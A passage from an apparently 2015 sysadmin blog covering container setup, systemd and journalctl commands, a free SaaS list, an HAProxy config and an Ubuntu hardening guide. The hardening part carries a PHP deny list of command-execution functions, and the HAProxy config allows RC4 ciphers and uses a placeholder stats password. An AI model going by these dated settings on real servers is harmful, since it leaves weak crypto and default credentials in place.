  config.vm.base_mac = "080027D14C66"
end
$ vagrant up

or
$ vagrant init freebsd/FreeBSD-10.2-RELEASE; vagrant up --provider virtualbox

LXC CentOS7 Container

$ yum -y install libvirt virt-install
$ systemctl start libvirtd

$ yum -y --installroot=/var/lib/libvirt/filesystems/centos7 \
--releasever=7 install systemd passwd yum \
centos-release vim-minimal procps-ng iproute \
net-tools dhclient policycoreutils

$ chroot /var/lib/libvirt/filesystems/centos7/
$ passwd root
$ echo "pts/0" >> /var/lib/libvirt/filesystems/centos7/etc/securetty

$ virt-install --connect lxc:// --name centos7 --ram 256 --filesystem /var/lib/libvirt/filesystems/centos7,/
Escape character is ^]
$ virsh --connect lxc:// console centos7

Systemd-nspawn CentOS7 Container

$ yum -y --installroot=/var/lib/libvirt/filesystems/centos7 \
--releasever=7 install systemd passwd yum \
centos-release vim-minimal procps-ng iproute \
net-tools dhclient policycoreutils

$ systemd-nspawn -D /var/lib/libvirt/filesystems/centos7 --machine centos_container -b -n
$ machinectl login centos_container
$ systemctl stop machine-centos_container.scope

Simple Systemd

# http://rus-linux.net/MyLDP/boot/img/systemd/systemd4_1.png
# get service states
$ systemctl list-unit-files -t service
$ systemctl list-units -t service --all
$ systemctl is-enabled sshd.service; echo $?

# enable service
systemctl enable [email protected]

# systemd analyze speed
$ systemd-analyze blame

# check service depends
systemctl list-dependencies firewalld.service

# reload all daemons
systemctl daemon-reload

Manage logging in Systemd

# set timedate
$ timedatectl list-timezones
$ timedatectl set-timezone Europe/Moscow
$ timedatectl status

# to watch all logs
$ journalctl

# logs from last boot
$ journalctl -b

# filter logs with datetime
$ journalctl --since "2015-07-20 17:15:00"
$ journalctl --since yesterday
$ journalctl --since 09:00 --until now
$ journalctl --since 10:00 --until "1 hour ago"

# filter logs with service name
$ journalctl -u sshd.service
$ journalctl -u nginx.service --since yesterday
$ journalctl -u nginx.service -u php-fpm.service —since today

# filter logs with proccess, users or groups name
$ journalctl _PID=1229 (sshd)
$ journalctl _UID=99 (uid=99(nobody) gid=99(nobody) groups=99(nobody))
$ journalctl -F _UID
$ journalctl -F _GUID
$ man systemd.journal-fields

# filter logs with path
$ journalctl /usr/sbin/sshd

# see kernel logs
$ journalctl -k

# filter logs with error level
$ journalctl -p 3 -b
0 — EMERG
1 — ALERT
2 — CRIT
3 — ERR
4 — WARNING
5 — NOTICE
6 — INFO
7 —DEBUG

# write logs to stdout (default use less)
$ journalctl --no-pager

# write logs with formating
$ journalctl  -u sshd.service -o json
$ journalctl  -u sshd.service -o json-pretty

# formats:
cat
export
short
short-iso
short-monotonic
short-precise
verbose

# see new logs
$ journalctl -n
$ journalctl -n 20

# see logs in tail mode
$ journalctl -f

# count logs space usage
$ journalctl --disk-usage

# rotate logs
$ journalctl --vacuum-size=1G
$ journalctl --vacuum-time=1years

# write logs to syslog
# /etc/systemd/journald.conf
ForwardToSyslog=yes

Systemd cgroups

# To get the full hierarchy of control groups, type:
$ systemd-cgls

# To get the list of control group ordered by CPU, memory and disk I/O load, type:
$ systemd-cgtop

# To put resource limits on a service (here 500 CPUShares), type:
$ systemctl set-property httpd.service CPUShares=500
$ systemctl show -p CPUShares httpd.service
$ systemctl show httpd.service | grep CPUShares

# cgroup slices
systemctl status user-${UID}.slice

# For example, if we want to limit cpu.shares of all processes of user with UID 1000:
$ systemctl set-property user-1000.slice CPUShares=100
$ systemctl daemon-reload

Systemd Targets/Run levels

# To get the current default run level, type:
$ systemctl get-default

# To move to maintenance mode, type:
$ systemctl rescue

# To set the default run level to non-graphical mode, type:
$ systemctl set-default multi-user.target

# To set the default run level to graphical mode, type:
$ systemctl set-default graphical.target

# To stop, reboot a server, suspend it or put it into hibernation, type:
$ systemctl poweroff
$ systemctl reboot
$ systemctl suspend
$ systemctl hibernate

DebTree — pkg dependency graphs

$ apt-get install debtree
$ debtree nginx
# Generate the dependency graph
$ debtree dpkg >dpkg.dot
#  generate an SVG image from the `.dot'
$ dot -Tsvg -o dpkg.svg dpkg.dot
# Generate  graph for package dpkg as PNG image
$ debtree dpkg | dot -Tpng >dpkg.png

Linux-Unix-IT Tips and Tricks #4 was originally published by EK at EK on August 17, 2015.

Free #aaS Resources List

2015-08-14 14:06:18 +0300T00:00:00-00:00

The list of software (SaaS, PaaS, IaaS, etc.) and other offerings which have a free service or tier. The scope of this list is limited to things infrastructure developers - System Administrator, DevOps Practitioners, etc.

Source Code Repos

https://bitbucket.org/ - Unlimited public and private git repos for small teams
http://chiselapp.com/ - Unlimited public and private Fossil repositories
https://github.com - Free for an unlimited number of public repositories
https://about.gitlab.com/ - Unlimited public and private git repos with unlimited collaborators
https://hub.jazz.net/ - Unlimited public repos, private repos free for up to 3 accounts.
https://visualstudio.com - Free unlimited private repos (Git and TFS) for up to 5 users per team
https://assembla.com - Free repo hosting in a free plan.

Tools for teams & Collaboration

http://appear.in/ - One click video conversations, for free
http://www.hall.com/ - Free for unlimited users with some feature limitations
https://www.flowdock.com/ - Chat and inbox, free for teams of 5 or less
https://slack.com - Free for unlimited users with some feature limitations
https://hipchat.com - Free for unlimited users with some feature limitations
https://gitter.im - “Chat, for GitHub”. Unlimited public & private rooms, free for teams of up to 25
http://www.google.com/hangouts/ - One place for all your Conversations, for free (Need Google Account)
https://kato.im - Team Chat & Collaboration, free for unlimited users with some feature limitations
http://seafile.com/ - Private or cloud storage, file sharing, sync, discussions. Private version is full. Cloud version has just 1 GB.
https://sameroom.io - Free for unlimited users with some feature limitations
https://yammer.com/ - Private social network standalone or for MS Office 365. Free, just a bit less admin tools and users management features.
https://www.blockspring.com/ - Share scripts with anyone on your team: cross language and with spreadsheet users. Free for 5 million runs a month.
https://helpmonks.com/ - Shared inbox for teams - Free for open source projects and non-profit organizations.
http://typetalk.in/ - Share and discuss ideas with your team through instant messaging on the web or on your mobile.

Code Quality

http://tachikoma.io - Dependency Update for Ruby, Node.js, Perl projects - free for Open Source
https://landscape.io/ - Code Quality for Python projects, free for Open Source
https://codeclimate.com/ - Automated code review, free for Open Source
https://houndci.com/ - Comments on github commits about code quality - free for Open Source
https://coveralls.io/ - Display test coverage reports - free for open source
https://scrutinizer-ci.com/ - Continuous inspection platform - free for Open Source
https://codecov.io/ - Code coverage tool (SaaS), free for 1 private project and no restrictions for publics repos
https://insight.sensiolabs.com/ - Code Quality for PHP/Symfony projects, free for Open Source
https://www.codacy.com/ - Automated code reviews for PHP, Python, Javascript, Scala and CSS - free for open source
https://www.pullreview.com - Automated Code Review for Ruby in GitHub, Bitbucket and Gitlab - free for Open Source

Code Search and Browsing

https://sourcegraph.com/ - Java, Go, Python, Node.js, etc., code search/cross-references - free for open source
https://searchcode.com/ - comprehensive text-based code search - free for open source

CI / CD

https://codeship.com/ - 100 private builds / month, 5 private projects.Unlimited for Open Source
https://circleci.com - Free for one concurrent build
https://travis-ci.org - Free for public Github repositories.
http://wercker.com/ - Free for public and private repositories
https://drone.io/ - CI platform that includes browser testing, free for Open Source
https://semaphoreci.com/ - 100 private builds / month. Unlimited for Open Source.
http://www.shippable.com/ - Free for 1 build container, private and public repos, unlimited builds.
https://snap-ci.com - Free for public repositories, 1 build at the time
http://www.appveyor.com/ - CD service for Windows. Free for open-source projects.
[https://github.com/ligurio/Continuous-Integration-services - Comparison of Continuous Integration services
https://saucelabs.com/ - CI with scalable testing for mobile and web apps, free for Open Source
http://ftploy.com/ - 1 project w/unlimited deployments
https://deployhq.com/ - 1 project w/10 daily deployments
https://hub.jazz.net/ - 60 minutes of free build time / month.
https://styleci.io/ - Public GitHub repositories only.

Security and PKI

http://vaddy.net - Continuous web security testing with continuous integration (CI) tools. 3 domains, 10 scan history for free
https://www.globalsign.com/en/ssl/ssl-open-source/ - Free SSL certs for Open Source projects
https://www.startssl.com/ - Free SSL certs
https://stormpath.com/ - Free user management, authentication, social login, and SSO.
https://auth0.com/ - Hosted free for development SSO
https://getclef.com/ - New take on auth unlimited free tier for anyone not using premium features
https://ringcaptcha.com/ - Tools to use phone number as id, available for free
https://www.ssllabs.com/ssltest/ - Very deep analysis of the configuration of any SSL web server
https://qualys.com/forms/freescan/owasp/ - Find web app vulnerabilities, audit for OWASP Risks
https://www.alienvault.com/open-threat-exchange/threatfinder - Uncovers compromised systems in your network
https://duosecurity.com - Two-factor authentication (2FA) for website or app. Free 10 users, all authentication methods, unlimited, integrations, hardware tokens.

Management Systems

https://opbeat.com/ - Release, deploy, monitor. Free for 3 users
https://bitnami.com/ - Deploy prepared apps on IaaS. Management of 1 AWS micro instance free

Log Management

https://papertrailapp.com/ - 48 hours search, 7 day archive, 100MB/month
https://logentries.com/ - Free up to 5GB/month with 7 day retention
https://www.loggly.com/ - Free for a single user, see the lite option
http://sematext.com/logsene - Free for 1M logs, unlimited retention
https://www.sumologic.com - Free up to 500MB/day, 7 day retention

Translation Management

https://lingohub.com - free up to 3 users, Open Source projects are always free
https://www.getlocalization.com/ - free for public projects
http://webtranslateit.com - free up to 500 strings
http://transifex.com - free for Open Source projects
http://www.oneskyapp.com/ - limited free edition for up to 5 users, free for Open Source projects
https://crowdin.com - Unlimited projects, unlimited strings and collaborators for Open Source projects

Analytics

http://www.splunk.com/en - Upload 5GB of data per day up to 28GB of total data stored
https://parse.com - Unlimited free analytics
https://keen.io - Up to 50,000 events/month free

Monitoring

http://www.appneta.com - Free with 1 hour data retention
https://www.thousandeyes.com- - Network & user experience monitoring. 3 locations, plus 20 data feeds of major web services free.
https://www.datadoghq.com/ - Free for up to 5 nodes
http://www.stackdriver.com/ - Free for up to 10 nodes/services
https://keymetrics.io/ - Free for 2 servers with 7 days data retention
http://newrelic.com/ - Free with 24 hour data retention
https://nodequery.com/ - Free basic server monitor up to 10 servers
https://www.pingdom.com/free/ - 1 site free
http://www.watchsumo.com/ - Free website uptime monitoring
https://www.opsgenie.com/ - Alert management with mobile push. 600 free alerts for 2 users a month
https://www.runscope.com/ - Monitor and log API usage.Single user 10,000 request/month free
http://www.circonus.com/ - Free for 20 metrics
https://uptimerobot.com/ - Website monitoring, 50 monitors free
https://www.statuscake.com/ - Website monitoring, unlimited tests free with limitations
http://www.boundary.com/ - Free 1 second resolution for up to 10 servers
https://ghostinspector.com/ - Free website and web application monitoring. Single user, 100 test runs per month
http://java-monitor.com/ - Free monitoring of JVM’s and uptime
http://sematext.com/spm - Free for 24h metrics, unlimited number of servers, 10 custom metrics, 500K custom metrics data points, unlimited dashboards, users, etc.
https://sealion.com/ - Free up to 2 servers, 3 days data retention, graphs and raw command output history (top, ps, ifconfig, netstat, iostat, free, custom, etc.)
https://www.stathat.com - Get started with ten stats for free, no expiration.
https://www.skylight.io - Free for first 100k requests
https://www.appdynamics.com - Free for 24h metrics, application performance management agents limited to one Java, one .NET, one PHP, and one Node.js
https://deadmanssnitch.com - Monitoring for cron jobs. 1 free snitch (monitor) - more available if you refer others to sign up

Crash / Exception handling

https://rollbar.com/ - Exception and error monitoring, free plan - 5000 errors/month, unlimited users, 30 days retention.
https://bugsnag.com/ - Free for up to 2000 errors a month after the initial trial
https://airbrake.io/ - Free for 1 project, 1 user, 2 errors per minute, 2 day retention
http://getsentry.com/ - Sentry tracks app exceptions in realtime, has a small free plan. Free, unrestricted use if self-hosted.

Search

https://www.algolia.com - Hosted search-as-you-type (instant). Free hacker plan up to 1,000 documents and 50,000 operations. Bigger free plans available for community/open source projects.
https://swiftype.com - hosted search solution (API and crawler). Free for a single search engine with up to 1000 documents. Free upgrade to Premium level for open-source projects.
https://bonsai.io - Free 1GB memory and 1GB storage.
http://www.searchly.com - Free 2 Indices and 5MB storage.

Email

http://www.sparkpost.com/ - First 10,000 emails per month are free
http://www.mailgun.com/ - First 10,000 emails per month are free
http://mailchimp.com/ - 2,000 subscribers and 12,000 emails per month are free
https://sendloop.com/ - 2,000 subscribers and 10,000 email delivery every month is free
http://sendgrid.com/ - 400 emails per day for free/25,000 free transactional emails per month for emails sent from a Google compute instance
http://mandrill.com/ - First 12,000 emails per month are free
https://www.phplist.com/ - Hosted version allow 300 mails per month for free
https://www.mailjet.com/ - 6000 mails per month for free
https://www.sendinblue.com/ - 9000 mails per month for free
https://mailtrap.io - fake SMTP server for development, free plan with 1 inbox, 50 messages, no team members, 2 emails/sec, no forward rules
https://mailstache.io - 4 Mailboxes @ 1GB each for up to 2 custom domains.
https://postmarkapp.com - First 25,000 emails are free
https://www.zoho.com/mail/ - Free Email management and collaboration for up to 10 users.
http://moosend.com/ — Mailing list management service. Free account for 6 months for startups.

CDN and Protection

http://www.cloudflare.com/ - Basic service is free, good for a blog
http://www.bootstrapcdn.com/ - CDN for bootstrap, bootswatch and font awesome
https://surge.sh - Zero-bullshit, single–command, bring your own source control web publishing CDN.
https://cdnjs.com/ - CDN for JavaScript libraries, CSS libraries, SWF, images, etc!
http://www.jsdelivr.com/ - super-fast CDN of OSS (JS, CSS, fonts) for developers and webmasters, accepts PRs to add more
https://developers.google.com/speed/libraries/ - The Google Hosted Libraries is a content distribution network for the most popular, open-source JavaScript libraries.
https://www.asp.net/ajax/cdn - The Microsoft Ajax Content Delivery Network (CDN) hosts popular third party JavaScript libraries such as jQuery and enables you to easily add them to your Web application
https://toranproxy.com/ - Proxy for Packagist and GitHub. Never fail CD. Free for personal use, 1 developer, no support.
http://rawgit.com - free limited traffic, serves raw files directly from GitHub with proper Content-Type headers.

PaaS

https://cloud.google.com/appengine/ - Google App Engine gives 28 instance hours free, 1Gb NoSQL Database and more.
https://www.engineyard.com - Engine Yard provides 500 free hours
http://azure.microsoft.com/ - MS Azure gives $200 worth of free usage for a trial
http://hpcloud.com/ - $300 credit over 90 days.
https://appharbor.com/ - A .Net PaaS that provides 1 free worker
https://shellycloud.com/ - Platform for hosting Ruby and Ruby on Rails apps. Shelly Cloud gives €20 free credit
https://www.heroku.com/ - Host your apps in the cloud, free for single process apps
https://www.firebase.com/ - Build realtime apps, free plan has 50 Max Connections, 5 GB Data Transfer, 100 MB Data Storage. 1 GB Hosting Storage and 100 GB Hosting Transfer.
https://bluemix.net/ - IBM PaaS with a monthly free allowance
https://www.openshift.com/ - Red Hat PaaS, free tier provides three small gears (each with 512MB memory, 1GB storage.
https://scalingo.com - Free Tier, up to 3 apps, 1 container each, combined with data store addons free tier
https://algorithmia.com - Host algorithms for free - includes 10,000 credits (seconds of on-demand execution time) free
https://bigml.com/ - Hosted machine learning algorithms. Unlimited free tasks for development, limit of 16MB data per task
https://www.activestate.com/stackato/ - Enterprise-hardened Cloud Foundry PaaS from ActiveState, for private, public and hybrid cloud, free up to 20GB
http://www.outsystems.com/ - Enterprise web development PaaS for on-premise or cloud, free “personal environment” offering allows for unlimited code and up to 1GB database.
https://platform.telerik.com/ - Build and deploy mobile applications using Javascript. Free plan has 100 MB Data Storage, 1GB File storage, 5GB Bandwidth, 1 million push notifications for BaaS offering, 100 active devices for analytics.
http://scn.sap.com/docs/DOC-56411 - The in-memory Platform-as-a-Service offering from SAP. Free developer accounts come with 1GB structured, 1GB unstructured, 1GB of Git data and allow you to run HTML5, Java and HANA XS apps.
https://www.mendix.com/ - Rapid Application Development for Enterprises - Unlimited number of free sandbox environments supporting 10 users, 100MB of files and 100MB database storage each.

BaaS

http://apigee.com/docs/api-baas - Unlimited trial includes NoSQL data store with 25GB of storage, user and permission management, geolocation, 10,000,000 push notifications per month, remote configuration, beta and A/B split testing, APM, fully API driven.Accessible and manageable via UI, SDK, and API.
http://appacitive.com/ - Mobile backend, free for the first 3 months with 100k API calls,Push notifications.
https://bip.io/ - A web-automation platform for easily connecting web services. Fully open GPLv3 to power the backend of your open-source project.Commercial OEM License available.
https://www.blockspring.com/ - Cloud functions. Free for 5 million runs a month.
https://www.contentful.com - Content as a Service. Content Management & Delivery APIs in the cloud. 3 users, 3 spaces (repositories) and 1,000,000 API requests per month for free.
http://www.kinvey.com - Mobile backend, starter plan has unlimited requests per second, with 2 GB of data storage, as well as push notifications for up 5,000,000 unique recipients. Enterprise application support.
http://konacloud.io - Web and Mobile Backend as a Service, with 5 GB free account.
https://layer.com/ - The full-stack building block for communications.
https://www.parse.com - Mobile backends, free plan has 30 requests per second, with 20 GB of file and database storage, as well as push notifications for up to 1,000,000 unique recipients.
http://quickblox.com/ - A communication backend for instant messaging, video and voice calling, and push notifications

Web Hosting

https://www.simplybuilt.com - SimplyBuilt offers free website building and hosting for open source projects. Simple alternative to GitHub Pages.
http://www.devport.co - Turn GitHub projects, Apps, and websites into a personal developer portfolio.
https://www.netlify.com - Builds, deploy and hosts static site or app, free for 100 MB data and 1 GB bandwidth.
https://divshot.com/ - Static Web Hosting for Developers, free basic apps, 1 GB bandwidth, 100 MB storage, custom domains, subdomain SSL.

IaaS

http://aws.amazon.com/free/ - AWS Free Tier - Free for 12 months
https://exoscale.ch/ - Free resources for Open Source projects
https://developer.rackspace.com/ - Rackspace Cloud gives $50/month for 12 months
https://cloud.google.com/compute/ - Google Compute Engine gives $300 over 60 days
https://cloud.google.com/container-engine/ - Google Container Engine for run Docker containers(Alpha). Pricing: same of Google Compute Engine.
https://nsone.net/ - Data Driven DNS, automatic traffic management, 1M free Queries
https://developer.rackspace.com/signup/ - Get $50/month for 12 months to use toward cloud services.

DBaaS

https://mongolab.com/ - MongoDB as a service (500mb free)
https://cloudant.com/ - Hosted database from IBM, free if usage is below $50/month
https://realm.io - Free to use even for commercial projects, under Apache 2.0 License
https://orchestrate.io/ - 1 application free
https://redislabs.com/redis-cloud - Redis as a Service (25 mb free)
https://www.backand.com/ - Back-end as a service (for AngularJS)
http://www.zenginehq.com - Build business workflow apps in minutes - free for single users
https://parsehub.com/ — Extract data from dynamic sites, turn dynamic websites into APIs, 5 projects free.
https://import.io/ - Easily turn websites into APIs, completely free for life.
https://kimonolabs.com - “Turn websites into structured APIs from your browser in seconds”, free for public APIs, up to 20 million pages fetch / month. Supports scheduling, JSON, CSV, post-auth, …
https://redsmin.com/ - Online real-time monitoring and administration service for Redis, 1 Redis instance free
http://graphstory.com/ - GraphStory offers Neo4j (a Graph Database) as a service
http://www.elephantsql.com/ - PostgreSQL as a service (20mb free)

STUN, WebRTC, Web Socket Servers and other Routers

https://pusher.com. - Hosted Web Sockets broker. Free for up to 20 simultaneous connections and 100k messages a day.
stun:stun.l.google.com:19302 - Google STUN
stun:global.stun.twilio.com:3478?transport=udp - Twilio STUN
https://www.segment.com. - Hub to translate and route events to other third party services. 100k events a month free.
https://ngrok.com/ - expose locally running servers over a tunnel to a public URL

Issue tracking / Project management

https://www.pivotaltracker.com/community/public-projects - Pivotal Tracker. Free for public projects.
https://www.atlassian.com/opensource/overview - Free Jira etc for Open Source projects
https://kanbanflow.com/ - Board based project management. Free (premium version with more options).
https://kanbanpad.com/ - Board based project management. Free (premium version with more options).
https://kanbanery.com/ - Board based project management. Free for 2 users (premium tiers with more options).
https://zenhub.io/ - The only project management solution inside GitHub. Free for public repos, OSS, and non-profits.
https://trello.com/ - Board based project management. Free
https://waffle.io/ - Board based project management solution from your existing GitHub Issues. Free for open-source.
https://huboard.com/ - Instant project management for your GitHub issues. Free for open-source.
https://taiga.io/ - Project management platform for startups and agile developers. Free for open-source.
https://www.jetbrains.com/youtrack/buy/open_source_incloud.jsp - Free hosted YouTrack (InCloud) for FOSS projects (private projects free for 10 users: https://www.jetbrains.com/youtrack/buy/)
https://github.com - In addition to its git storage facility, github offers basic issue tracking
https://asana.com - Free for private project with collaborators.
http://www.acunote.com/ - Free project management and SCRUM software for up to 5 team members.
http://gliffy.com/ - Online diagrams: flowchart, UML, wireframe… Also Plugins for Jira & Confluence. 5 diagrams and 2 MB free.
https://cacoo.com/ - Online diagrams in real time: flowchart, UML, network. Free max. 15 users/diagram, 25 sheets.
https://www.draw.io/ - Online diagrams stored locally, in Google Drive, OneDrive or Dropbox. Free for all features and storage levels.
https://hub.jazz.net/ - IBM Bluemix’s project management services. Free for public projects, free for up to 3 users for private projects.
http://leankit.com/ - Kanban board, that visualizes your workflow. Free up to 10 users.
https://www.visualstudio.com/products/what-is-visual-studio-online-vs - Unlimited free private code repositories; Tracks bugs, work items, feedback and more.
https://testlio.com - Issue tracking, test management and beta testing platform. Free for private use.

Storage and Media Processing

https://www.aerofs.com/ - P2P file syncing, free for up to 30 users
http://cloudinary.com - Image upload, powerful manipulations, storage, and delivery for sites and apps, with libraries for Ruby, Python, Java, PHP, Objective-C and more. Perpetual free tier includes 7500 images/month, 2gb storage, 5gb bandwidth.
https://plot.ly - graph and share your data. Free tier includes unlimited public files and 10 private files.
https://transloadit.com - Handles file uploads & encoding of video, audio, images, documents. Free for open source & other do-gooders. Commercial applications get the first GB free for test driving.
https://podio.com/ - You can use Podio with a team of up to five people and try out the features of the Basic Plan - except User Management.
https://shrinkray.io - free image optimization of Github repos
https://www.cine.io - Scalable video broadcasting and p2p real-time video chat for iOS, Android, and web. Free tiers available for developers.

Data Visualization on Maps

http://geocod.io - Geocoding via API or CSV Upload. 2.500 free queries per day.
http://gogeo.io/ - Maps and geospatial services with an easy to use API and support for big data
https://cartodb.com - Create maps and geospatial APIs from your data and public data.
http://www.giscloud.com - Visualize, analyze and share geo data online.
https://www.mapbox.com/ - Maps, geospatial services, and SDKs for displaying map data.

Package Build Systems

https://build.opensuse.org/ - package build service for multiple distros (SUSE, EL, Fedora, Debian etc.)
https://copr.fedoraproject.org/ - mock-based RPM build service for Fedora and EL
https://help.launchpad.net/Packaging - Ubuntu and Debian build service

IDE and Code Editing

https://c9.io - IDE in a browser. Incorporates an Ubuntu virtual machine and in-browser terminal access. Integrates with github and bitbucket, but also adds SFTP and generic Git access.
https://koding.com - IDE in a browser. Features: Full sudo access - VMs hosted on Amazon EC2 - SSH Access - Real EC2 VM, no LXCs/hypervising - Custom sub-domains - Publicly accessible IP - Ubuntu 14.04 - IDE/Terminal/Collaboration
https://www.nitrous.io - Private Linux instance(s) with interactive collaboration.
http://visualstudio.com/free - Fully-featured IDE with thousands of extensions, cross-platform app development (Microsoft extensions available for download for iOS and Android), desktop, web and cloud development, multi-language support (C#, C++, JavaScript, Python, PHP and more).
https://cloud.sagemath.com - Collaborative mathematics-oriented IDE in a browser, with support for Python, LaTeX, IPython Notebooks, etc.
https://wakatime.com - quantified self metrics about your coding activity, using text editor plugins - Limited plan for free.
https://codenvy.com/ - IDE in a browser, collaborative, git integration, build and run your app in customizable Docker-based runners (free 512Mb RAM to distribute between you runners), pre-integrated deploy to Google Apps.
https://apiary.io/ - Collaborative design API with instant API mock and generated documentation (Free for unlimited API blueprints and unlimited user with one admin account and hosted documentation)
https://www.mockable.io/ - Mockable is a simple configurable service to mock out RESTful API or SOAP web-services. This online service allows you to quickly define REST API or SOAP endpoints and have them return JSON or XML data.
https://www.jetbrains.com/products.html - Productivity tools, IDEs and deploy tools. Free license for students, teachers, open source projects, and user groups.
https://readme.io/ - Beautiful documentations made easy - free for Open Source
https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx - Visual Studio. Not only for Windows and .NET
https://codio.com/ - Codio is a cloud-based computer programming platform for universities, schools, and developer professionals.
http://www.stackhive.com/ - Cloud based IDE in browser that supports HTML5/CSS3/jQuery/Bootstrap
http://www.tadpoledb.com/ - IDE in browser Database tool. Support Amazon RDS, Apache Hive, Apache Tajo, CUBRID, MariaDB, MySQL, Oracle, SQLite, MSSQL, PostgreSQL and MongoDB databases.

Analytics, Events andStatistics

https://www.librato.com/ - Event/Data collection service with analysis and graphs. Limited plan for free.
https://google.com/analytics/ - Google Analytics
https://heapanalytics.com/ - Automatically captures every user action in iOS or web apps. Free for up to 5,000 visits per month.
http://sematext.com/search-analytics - Free for up to 50K actions/month, 1 day data retention, unlimited dashboards, users, etc.
https://usabilityhub.com - Test designs and mockups on real people, track visitors. Free for one user, unlimited tests.
https://gosquared.com - Track up to 1,000 data points for free.
https://mixpanel.com - Free 25000 points or 200000 with their badge on your site.

International Mobile number verification API and SDK

https://www.cognalys.com - Freemium mobile number verification through an innovative and reliable method than using SMS gateway. Free accounts will have 70 Tries and 50 verifications per day.

Payment / Billing Integration

https://www.braintreepayments.com - Credit Card, Paypal, Venmo, Bitcoin, Apple Pay integration. Single and Recurrent Payments. First $50 are free of charge.

Other Packs

https://education.github.com/pack - As long as you’re a student at a recognized university

Alternate container hosting

https://quay.io/ - Unlimited free public containers

Vagrant box indexes

https://atlas.hashicorp.com/boxes/search - HashiCorp’s index of boxes
http://vagrantbox.es - An alternative public box index

Data mining

http://www.monkeylearn.com/ - Text mining in the cloud, 1,000 queries for free per month.

Free #aaS Resources List was originally published by EK at EK on August 14, 2015.

LB with Haproxy

2015-07-29 14:56:16 +0300T00:00:00-00:00

Simple HTTP\HTTPS Load Balancing with Haproxy

Install Haproxy

$ add-apt-repository -y ppa:vbernat/haproxy-1.5
$ apt-get update
$ apt-get install -y haproxy

Simple Haproxy.cfg

# /etc/haproxy/haproxy.cfg

global
    log /dev/log    local0
    log /dev/log    local1 notice
    chroot /var/lib/haproxy
    stats socket /run/haproxy/admin.sock mode 660 level admin
    stats timeout 30s
    user haproxy
    group haproxy
    daemon

    # Default SSL material locations
    ca-base /etc/ssl/certs
    crt-base /etc/ssl/private

    # Default ciphers to use on SSL-enabled listening sockets.
    ssl-default-bind-ciphers kEECDH+aRSA+AES:kRSA+AES:+AES256:RC4-SHA:!kEDH:!LOW:!EXP:!MD5:!aNULL:!eNULL

defaults
    log     global
    mode    http
    option  httplog
    option  dontlognull
    timeout connect 5000
    timeout client  50000
    timeout server  50000
    errorfile 400 /etc/haproxy/errors/400.http
    errorfile 403 /etc/haproxy/errors/403.http
    errorfile 408 /etc/haproxy/errors/408.http
    errorfile 500 /etc/haproxy/errors/500.http
    errorfile 502 /etc/haproxy/errors/502.http
    errorfile 503 /etc/haproxy/errors/503.http
    errorfile 504 /etc/haproxy/errors/504.http

frontend localhost
    bind *:80
    bind *:443
    option tcplog
    mode tcp
    default_backend webnodes

backend webnodes
    mode tcp
    balance roundrobin
    option ssl-hello-chk
    option forwardfor
    http-request set-header X-Forwarded-Port %[dst_port]
    http-request add-header X-Forwarded-Proto https if { ssl_fc }
    option httpchk HEAD / HTTP/1.1\r\nHost:localhost
    server web01 192.168.56.1:443 check
    server web02 192.168.56.2:443 check

listen stats *:1936
    stats enable
    stats uri /
    stats hide-version
    stats auth someuser:password

Start Haproxy

$ service haproxy restart

LB with Haproxy was originally published by EK at EK on July 29, 2015.

Ubuntu Security Hardening

2015-07-22 18:11:54 +0300T00:00:00-00:00

Based on CIS and my experience

SSHD Settings
Limit Access to SU cmd
Network Security Systcl
Firewall with UFW
PHP Settings
Apache Settings
Install Apache ModSecurity
Install Apache ModEvasive
Install Rootkit Checkers
Install Logwatch
Automatic Security Updates
Process Accounting

SSHD Settings

# /etc/ssh/sshd_config
PermitRootLogin no
Port 1022

$ service ssh reload

Limit Access to SU cmd

$ dpkg-statoverride --update --add root sudo 4750 /bin/su

Network Security Systcl

# /etc/sysctl.d/10-network-security.conf
# Ignore ICMP broadcast requests
net.ipv4.icmp_echo_ignore_broadcasts = 1

# Disable source packet routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# Ignore send redirects
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# Block SYN attacks
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 5

# Log Martians
net.ipv4.conf.all.log_martians = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1

# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

# Ignore Directed pings
net.ipv4.icmp_echo_ignore_all = 1

$ service procps start

Firewall with UFW

# install packegs
$ apt-get install ufw
$ ufw status verbose
$ ufw default allow incoming
$ ufw default allow outgoing
$ ufw enable
# add rules
$ ufw allow ssh
$ ufw allow 1022/tcp
$ ufw allow from 192.168.1.1
$ ufw allow 80/tcp
$ ufw default deny incoming
# resetting all rules to defauls
$ ufw reset

PHP Settings

# /etc/php5/apache2/php.ini
disable_functions = show_source,system,shell_exec,passthru,exec,phpinfo,popen,proc_open,allow_url_fopen
expose_php = off
display_errors = off
track_errors = off
html_errors = off

Apache Settings

# /etc/apache2/conf-enabled/security.conf
ServerTokens Prod
ServerSignature Off
TraceEnable Off
Header unset ETag
FileETag None

$ a2enmod headers
$ service apache2 restart

Install Apache ModSecurity

# http://habrahabr.ru/post/228339/
$ apt-get install libapache2-mod-security2
$ mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

# /etc/modsecurity/modsecurity.conf
SecRuleEngine On
SecRequestBodyLimit 16384000
SecRequestBodyInMemoryLimit 16384000

# Install OWASP ModSecurity Core Rule Set
$ git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git /etc/owasp-modsecurity/
$ mv /etc/owasp-modsecurity/modsecurity_crs_10_setup.conf.example /etc/owasp-modsecurity/modsecurity_crs_10_setup.conf
ls /etc/owasp-modsecurity/base_rules | xargs -I {} ln -s /etc/owasp-modsecurity/base_rules/{} /etc/modsecurity/activated_rules/{}
ls /etc/owasp-modsecurity/optional_rules | xargs -I {} ln -s /etc/owasp-modsecurity/optional_rules/{} /etc/modsecurity/activated_rules/{}

# /etc/apache2/mods-available/owasp-modsecurity.conf
Include "/etc/owasp-modsecurity/activated_rules/*.conf"

$ service apache2 restart

Install Apache ModEvasive

$ apt-get install libapache2-mod-evasive
$ mkdir /var/log/mod_evasive
$ chown www-data:www-data /var/log/mod_evasive

# /etc/apache2/mods-available/evasive.conf
DOSSystemCommand
